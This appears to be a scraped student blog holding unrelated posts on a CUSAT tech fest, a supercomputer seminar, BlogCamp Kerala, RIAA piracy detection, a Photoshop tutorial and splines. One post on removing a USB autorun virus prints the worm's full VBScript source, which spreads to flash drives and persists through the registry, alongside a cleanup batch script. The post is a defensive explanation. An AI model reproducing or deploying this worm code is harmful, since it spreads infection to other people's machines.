Inspire is the annual technical extravaganza organized by the Division of Computer Science, CUSAT. The rhapsody involves emphatic participation from a myriad of students within and outside the realms of CUSAT.

With diverse but nevertheless riveting, ingeniously plot and intellectually invigorating events, the participants are presented with an opportunity to earn accolades and benefits in terms of prizes worth over 1.6 Lakh rupees.

Inspire 08 is going to be the biggest ever.

Please find event details on the website http://www.acesinspire.com

Register Online for hassle free participation.

Special feature: Guest Lectures by Manu Zacharia(Ethical Hacking & Information Security), Mani Karthik(Blogging), Linux by LUG Kochi, GIS, and Video blogging event by Digit.

Our Co-Sponsors:

Our Media Partners:

Our Education Media Partner:

I presented a seminar on eka – the fastest supercomputer in asia and 8th fastest in the world. I barely had two days to prepare and somehow pulled it off. Apparently it was pretty good and everyone liked it!

Im uploading my presentation:

and resources I referred for the presentation:

• Eka supercomputer(PPT)
• HP Cluster Platform 3000BL(PDF) ,4000BL & 6000BL(PDF)
• The making of a Supercomputer, Businessworld(PDF)
• CRL India eka Brochure(PDF)
• infiniband_software_and-protocols(PDF)
• Building eka @PuneTech
• Project Manager, CRL Interview

This has been ripped off from Kenney’s Blog

When Gods Own Country is hosting a BlogCamp, then its has to be very special. The Event will happen on a huge house boat. This is going to be the first unconference to happen on boat. The Event is hosted by Kerala Tourism.

Date :- 16th August 2008

Venue :- Alappuzha

15th is a holiday and 17th is a sunday. So 16th is the perfect date to be on a boat in Kerala with blogging friends. This is a limited entry event. So if you are planning to enjoy a blogcamp on the backwaters of Kerala add your details to the following form.

Url : http://www.blogcampkerala.com/ (brand new website!)
Shared Key : godsowncountry

You will be contacted to confirm your attendance.

Also Visit

http://www.contactvirus.com/blogcampkerala

http://barcamp.org/blogcampkerala

http://groups.google.com/group/blogcampkerala

Join the wiki!

Here is the list of the bloggers that I know personally:

Kenney Jacob – Disruptive Technologies

Im relatively new to blogging and would love to interact with the blogging community of Kerala. 2nd Barcamp of Kerala and the venue was sponsored by the Association of Computer Science Engineering Students (ACES) of School of Engineering CUSAT. It was a great success! Thanks to Kenney Jacob, an avid blogger, an entrepreneur, a technology evangelist, I got to meet and learn from many techies and entrepreneurs. The event was like homecomming! I cant wait for the BlogCamp and hope the event will be a resounding success in the tech circles of Kerala.

So do create a post like this and link up the bloggers you know.

Other bloggers who are talking about it:

BlogCamp Kerala – Kenney’s Blog
BlogCamp Kerala - technoparklive.blogspot.com
Kerala Blog Camp – TheAnand’s Ripples
BlogCamp Kerala - DailySEOblog.com
BlogCamp Kerala August, 2008 - andback.wordpress.com

More photos from the venue:

Excerpts from the article by CATHERINE RAMPELL on How It Does It: The RIAA Explains How It Catches Alleged Music Pirates

To catch college students trading copyrighted songs online, the Recording Industry Association of America uses the same file-sharing software that online pirates love, an RIAA representative told The Chronicle at the organization’s offices during a private demonstration of how it catches alleged music pirates. He also said the group does not single out specific colleges in its investigations.

The official explained that one way the RIAA identifies pirates is by using LimeWire, a popular peer-to-peer file-sharing program that is free online and used by many college students (there is also a more-robust version of the program sold for a small fee).

Here’s how the process works:

1. The RIAA maintains a list of songs whose distribution rights are owned by the RIAA’s member organizations. It has given that list to Media Sentry, a company it hired to search for online pirates.
2. That company runs copies of the LimeWire program and performs searches for those copyrighted song titles, one by one, to see if any are being offered by people whose computers are connected to the LimeWire network. For popular songs, the search can turn up dozens, if not hundreds, of hits. A search on Madonna’s latest release, “4 Minutes,” turned up more than a hundred users trading various copies of the song.
3. The LimeWire software allows users who right-click on any song entry and choose “browse host” to see all of the songs that a given file sharer is offering to others for download. The software also lists the IP address of active file sharers. (An IP address is a unique number, assigned by Internet-service providers, that identifies every connection to the Internet.)
4. While the names of the people associated with particular IP addresses are not public, it is easy to find out which IP addresses are registered to each Internet-service provider. Using public, online databases (such as those at arin.net or samspade.org), Media Sentry locates the name of the Internet-service provider and determines which traders are located at colleges or universities.

Swift Detection

The process mimics how pirates themselves locate files but with a significant difference: speed. Media Sentry has automated the process by using scripting software that types in the songs, grabs the IP addresses, checks them, and forwards the information to the RIAA.

The RIAA’s first step against campus pirates is usually to send a Digital Millennium Copyright Act takedown notice, which asks the college to remove infringing content from its network.

In collecting evidence for those takedown notices, Media Sentry investigators do not usually download suspect music files. Instead, the company uses special software to check the “hash,” a sort of unique digital fingerprint, of each offered file to verify that it is identical to a copyrighted song file in the RIAA’s database. In the rare cases in which the hashes don’t match, the investigators download the song and use a software program sold by Audible Magic to compare the sound waves of the offered audio file against those of the song it may be infringing upon. If the Audible Magic software still doesn’t turn up a match, then a live person will listen to the song.

Based on that information, the RIAA will send a letter to the college asking for the song to be removed. The letter lists the name of the file and the date and time when Media Sentry investigators saw it available online.

On listservs and in interviews, some university administrators have recently questioned the validity of some of these takedown notices because they say they do not have any record of a download at the named IP address at the specified time.

Seeking Settlements

In more serious cases of piracy, the RIAA sometimes decides to send out “prelitigation settlement letters,” which asks alleged infringers to cough up several thousand dollars in lieu of going to court and potentially facing a much more expensive punishment.

Before sending out the prelitigation settlement letters, Media Sentry investigators always download music files believed to be infringing on licensed songs. Live human beings then listen to those songs to verify that the files are infringing. A letter goes out to the college with the date and time when investigators saw that the song was available for sharing.

While the process for generating both takedown notices and settlement letters is largely automated, the RIAA said that before each warning is sent out, a full-time RIAA employee reviews each case to make sure the claim is legitimate and that the alleged pirate is in the United States. Thanks to the speed and ease of the automated process, though, the RIAA is “able to identify hundreds of instances of infringement on a daily basis,” according to RIAA spokeswoman Cara Duckworth. She also acknowledged that the RIAA can tell only when a song is being offered for users to illegally download; investigators have no way of knowing when someone else is actually downloading the song.

“The automated takedown notice program we have right now is solely university-focused,” said the anonymous RIAA representative. “We’re trying to make universities aware that they have an issue with peer-to-peer file sharing on their network, and so we don’t send automated notices to commercial ISP’s, I think because they are generally aware that there’s a problem.”

The RIAA said it does not single out particular academic institutions to be “made examples of.”

“We have no capability of targeting any school at all,” said the RIAA representative, who argued that there is a large “misperception” among university administrators that individual colleges are being picked on. “Technically we can’t do it. We find what we find with this process, and that’s what we send to schools.”

So thats that. On the other hand you have Trent Reznor from Nine Inch Nails saying at Sydney Hordern Pavilion on September 16, 2007:

“Last time I was here, I was doing a lot of complaining about the ridiculous prices of CDs down here. And that story got picked up and got carried all around the world and now my record label all around the world hates me, because I yelled at them, I called them out for being greedy fucking assholes. I didn’t get a chance to check, has the price come down at all? I see a no, a no, a no… Has anyone seen the price come down? Okay, well, you know what that means – STEAL IT. Steal away. Steal and steal and steal some more and give it to all your friends and keep on stealin’. Because one way or another these motherfuckers will get it through their head that they’re ripping people off and that that’s not right.”

And hes making headlines for not just that!

Tren Reznor is not only breaking the old distribution model, he’s even breaking the newest, like Radiohead’s pay-what-you-want: Nine Inch Nails‘ latest album—The Slip—is 100% free, no payment required in any case, not even when you download the whooping 1.2GB version—which includes high definition WAVE 24/96 files (better-than-CD-quality 24bit 96kHz audio.) You can also choose from high-quality MP3s, FLAC lossless and M4A lossless. Note to record labels: drop dead.

Now how cool is that. I remember months back they are prolly the first group to release their album in Multitrack format! This allows anyone at all with access to the proper software to create their own remixes of these Nine Inch Nails songs. Recently, a new section has been added to the official Nine Inch Nails website to host remixes created by both fans and professionals alike; point your web browser to remix.nin.com to check it out! NIN is not just hot air as some pro-RIAA people might say, He is at the cutting-edge of music.

Cultural references to RIAA(source Wikipedia)

• “Weird Al” Yankovic’s single “Don’t Download This Song” satirizes the RIAA’s lawsuits against copyright infringers.
• The March 4, 2007 FoxTrot strip also satirized the RIAA’s lawsuits, where Jason tried to teach his iguana Quincy to download music, because “it’s one thing for them to go after single moms, widows, grandmothers, dead people and children… but sue an iguana?! That’d be insane!”
• MC Lars’s single “Download This Song” criticized the RIAA and the music industry in general, mentioning the RIAA’s lawsuits against “little kids downloading hit songs.”
• Billy Joel said in an interview that his first album Cold Spring Harbor wasn’t worth the money to buy, and urges people to steal it if they can manage it.
• After being asked to compose a Christmas Song safe for download Jonathan Coulton released ‘Podsafe Christmas Song’ which contained the lyrics “Don’t think us rude, we don’t want to get sued/ by the thugs at the RIAA”
• After the release of the album Year Zero, Trent Reznor of Nine Inch Nails told fans in Australia during tour to “STEAL IT. Steal away. Steal and steal and steal some more and give it to all your friends and keep on stealin’. Because one way or another, these motherfuckers will get it through their head that they’re ripping people off and that’s not right.” Renzor has openly opposed the RIAA, and later left Interscope, his record company at the time.

Does this happen with you?

• You cannot access or enter the hard drives on your computer when you click on a partition say C or the D Drive?
• You find an annoying autorun.inf or MSwin32.dll.vbs or r.cmd or bqk.bat or klp8j6i.com on all your flash drives and partitions?
• Task Manager disabled? Cant view hidden files?
• Startup is slow? PC hangs while booting up?

The Solution

1. Download and run this file! Unlock.v1.2 from HERE or HERE (UPDATED July 08,2008 )
   
2. Save all your work and Restart your computer

Note: The Script Killer file might take a few minutes to run and might display error messages. Its normal. The file will not do any harm. If it helped or if it didnt, please drop in a comment! thanks!

Read further only if you would like to read more about the problem and how I solved it! Also read my article on Removing the FlashDrive autorun.inf Virus for more info

A few words of explanation about the (so called) virus

The contents of a typical malicious autorun.inf

[autorun]
shellexecute=wscript.exe mswin32.dll.vbs

The contents of the file MSwin32.dll.vbs

‘ i like to be known as (udaipu) v1.02
‘ i made this virus because s3 umbi poi. it sucked.. so give me marks…..xxxrxextxxx

on error resume next
dim autoc,winpath,flashdrive,fs,mf,auto,tf,rg,nt,check,sd

auto = “[autorun]“&vbcrlf&”shellexecute=wscript.exe mswin32.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
autoc=autoc&text.readline
autoc=autoc & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MSwin32.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\mswin32.dll.vbs”,2,true)
tf.write autoc
tf.close
set tf = fs.getfile(winpath & “\mswin32.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\mswin32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MSwin32.dll.vbs”,2,true)
tf.write autoc
tf.close
set tf=fs.getfile(flashdrive.path &”\mswin32.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write auto
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”We want avinash sir back.”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run\MSwin32″,winpath&”\mswin32.dll.vbs”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

For any person with basic understanding of scripts, it will be quite clear what this script is all about and which settings on your computer are being changed.

What is wscript.exe ?

It is the Windows Scripting Host!

How I did I do it ?

Now this is the fun part

The following operations are performed by the file:

1. Terminates the Windows Processes wscript.exe and monit.exe.
2. Deletes all autorun.inf files on system.
3. Deletes all mswin32.dll.vbs files on system.
4. Deletes all r.cmd files on system.
5. Deletes all bqk.bat files on system.
6. Deletes all klp8j6i.com files on system.
7. Deletes the virus entry from startup/registry.
8. Disables Scripting.

The file actually extracts these separate files in C:\

UNLOCK.BAT

@echo off
taskkill /IM wscript.exe
taskkill /IM monit.exe

dir/b/s/l/a-d c:\autorun.inf> out.bat
dir/b/s/l/a-d d:\autorun.inf>> out.bat
dir/b/s/l/a-d e:\autorun.inf>> out.bat
dir/b/s/l/a-d f:\autorun.inf>> out.bat
dir/b/s/l/a-d g:\autorun.inf>> out.bat
dir/b/s/l/a-d h:\autorun.inf>> out.bat
dir/b/s/l/a-d i:\autorun.inf>> out.bat
dir/b/s/l/a-d j:\autorun.inf>> out.bat
dir/b/s/l/a-d k:\autorun.inf>> out.bat
dir/b/s/l/a-d l:\autorun.inf>> out.bat
dir/b/s/l/a-d m:\autorun.inf>> out.bat
dir/b/s/l/a-d n:\autorun.inf>> out.bat
dir/b/s/l/a-d c:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d d:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d e:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d f:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d g:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d h:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d i:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d j:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d k:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d l:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d m:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d n:\mswin32.dll.vbs>> out.bat

ECHO Deleting Virus files …
edlin out.bat <c:\attall.bat>nul
call out.bat
edlin out.bat <c:\delall.bat>nul
call out.bat

ECHO Deleting registry entries …
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MSwin32 /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v monit /f
REG IMPORT restorie.reg

ECHO Deleting temporary files …
del restorie.reg
del out.bat
rename out.bak out.bat
del out.bat
del attall.bat
del delall.bat
del unlock.bat

ATTALL.BAT

1,#rc:\*attrib -r -s -h “c:\
1,#rd:\*attrib -r -s -h “d:\
1,#re:\*attrib -r -s -h “e:\
1,#rf:\*attrib -r -s -h “f:\
1,#rg:\*attrib -r -s -h “g:\
1,#rh:\*attrib -r -s -h “h:\
1,#ri:\*attrib -r -s -h “i:\
1,#rj:\*attrib -r -s -h “j:\
1,#rk:\*attrib -r -s -h “k:\
1,#rl:\*attrib -r -s -h “l:\
1,#rm:\*attrib -r -s -h “m:\
1,#rn::\*attrib -r -s -h “n:\
1,#rautorun.inf*autorun.inf”
1,#rmswin32.dll.vbs*mswin32.dll.vbs”
e

replace * by pressing CTRL+P+Z in edit window

DELALL.BAT

1,#rattrib -r -s -h “c:\*DEL “c:\
1,#rattrib -r -s -h “d:\*DEL “d:\
1,#rattrib -r -s -h “e:\*DEL “e:\
1,#rattrib -r -s -h “f:\*DEL “f:\
1,#rattrib -r -s -h “g:\*DEL “g:\
1,#rattrib -r -s -h “h:\*DEL “h:\
1,#rattrib -r -s -h “i:\*DEL “i:\
1,#rattrib -r -s -h “j:\*DEL “j:\
1,#rattrib -r -s -h “k:\*DEL “k:\
1,#rattrib -r -s -h “l:\*DEL “l:\
1,#rattrib -r -s -h “m:\*DEL “m:\
1,#rattrib -r -s -h “n:\*DEL “n:\
e

replace * by pressing CTRL+P+Z in edit window

RESTORIE.REG

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
-”Window Title”
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
“Window Title”=”Microsoft Internet Explorer”

NOSCRIPT.EXE /silent

Disables scripting

After the operation is complete all the temporary files are deleted.

Download Noscript.exe and permanently disable scripts! or Read more on How to manually disable (or re-enable) the Windows Scripting Host, Symantec or read what Sophos has to say about it

Okay, the programming above is crude but hey it works

I want to reverse engineer this script to use its rapid spreading power against it. To make it cure the infection of all the systems it infects. Maybe in due time …

My congratulations to to the guys who made this virus/vbscript has gotten into almost every system in my college

Comments and suggestions welcome and I hope it helps!

I wonder why, I wonder why,
I wonder why I wonder;
I wonder why, I wonder why
I wonder why I wonder!

~Richard Feynman

Reply to someone who asked me if I really understood the context of the quote(needless to say I was trying to impress her, she was so pissed off she wont reply after my 2nd email *shrugs*):

I cant say I truly understand one of the most classic(and abstract) quotes by a genius … someone who saw infinity in a grain of sand. But even though I had heard this quote before, it was a very unique revelation when Dr Jayaraman said it at the Centre of Science Communication Seminar on Creative writing in Science and Fiction. Old men i guess.

It occurred to me that this might be the secret of humanity. Metacognition! the ability to consciously think about thinking. Those words are probably the very proof of Man’s sapience or wisdom.

What builds my inner value? Why do I feel guilty when I do wrong? How would I want to be remembered when I die? But most importantly – Why must I question?

A giant oak emerges out of the seeds in the droppings of a bird – The original context of the quote does not matter to me.

Flash drives have become cheap and a preferred choice of data transfer for everybody these days. And in my college almost every system even with the best antivirus protection offered by NOD32 or Kaspersky is infected. Since I’ve been asked by many about this problem and how to fix it, Im writing a detailed account of the steps I follow to remove the infection. Ill also be writing some workarounds so even if you cant remove the virus you can get along with your life. Ill be updating this page often.

As of now my system is free from all infections and working perfectly well, but this is not the first that Im saying something like this immediately before my whole system crashes. But Ive always managed to fix it, never had to format my computer, however severe the infection. So if you have any trouble, follow instructions and then drop in with your details, I might be able to help.

Some of the symptoms of an infected computer:

Full System scan

A full system scan using any of the following Antiviruses/antispyware tools usually do the trick.

UPDATED June 29 2008

So I will reveal the method to create that effect in Adobe Photoshop to anyone who wishes to know about it

Okay, this thread has been getting a lot of traffic everyday, so im writing a small tutorial for it!

CLICK on the images to get a clearer view

1. Create a canvas 800×600. Black Background. Write some text. Rasterize the Layer. Duplicate the text layer. Keep a copy of the rasterised text untouched. Merge the rest.

Layer1:

Layer2:

2. Layer2 Filter/Stylize/Wind Direction “Left” x twice, Direction “Right” x twice

3. Layer2 Filter/Distort/Ripple Amount 75% Size Small

4. Image/Rotate Canvas/90 CW and then Layer2 Filter/Stylize/Wind Direction “Left” x twice, Direction “Right” x twice

5. Layer2 Filter/Distort/Ripple Amount 100% Size Medium then Image/Rotate Canvas/90 CCW

Layer2 now looks like:

6. Select Layer1. Hide layer 2 from view.

Pick Magic Wand. Select the first character. Right click/Add to Selection and select all characters

Select/Modify/Contact 3 Pixels

Select Paint Tool. Right Click/Master Diameter Adjust as needed. Pick Colour. Run your brush over the selection on one straight horizontal swipe.

Unhide Layer2. Now things should something like this

7. Select Layer2. Image/Adjustement/Hue/Saturation Check Colorize. Increase the Saturation

Voila!

If you tweak along the various stages with settings you can get great effects. Like converting the Canvas in to Polar coordinates. Filter/Distort/Polar Coordinates “Rectangular to Polar” and then applying wind would yeild something like

or

Have fun !!

• Natural Cubic Splines
• Hermite Cubic Splines

Including links to some reading material online

• An Introduction to Splines for use in Computer Graphics & Geometric Modelling – Bartels, Beatty, Barsky
• Splines! All about them.
• A Spline Interpolation Demo – Demonstrating interpolation of 6 movable points by a curve to demonstrate a cubic spline.
• A Natural Cubic spline example problem
• Curve fitting and Splines

Some Images for your viewing pleasure

• How to construct a “smooth” spiral ?

• { Parameters } – Do you Believe !?

• Whats a Spline mate!?

• Continuity

• Spline Types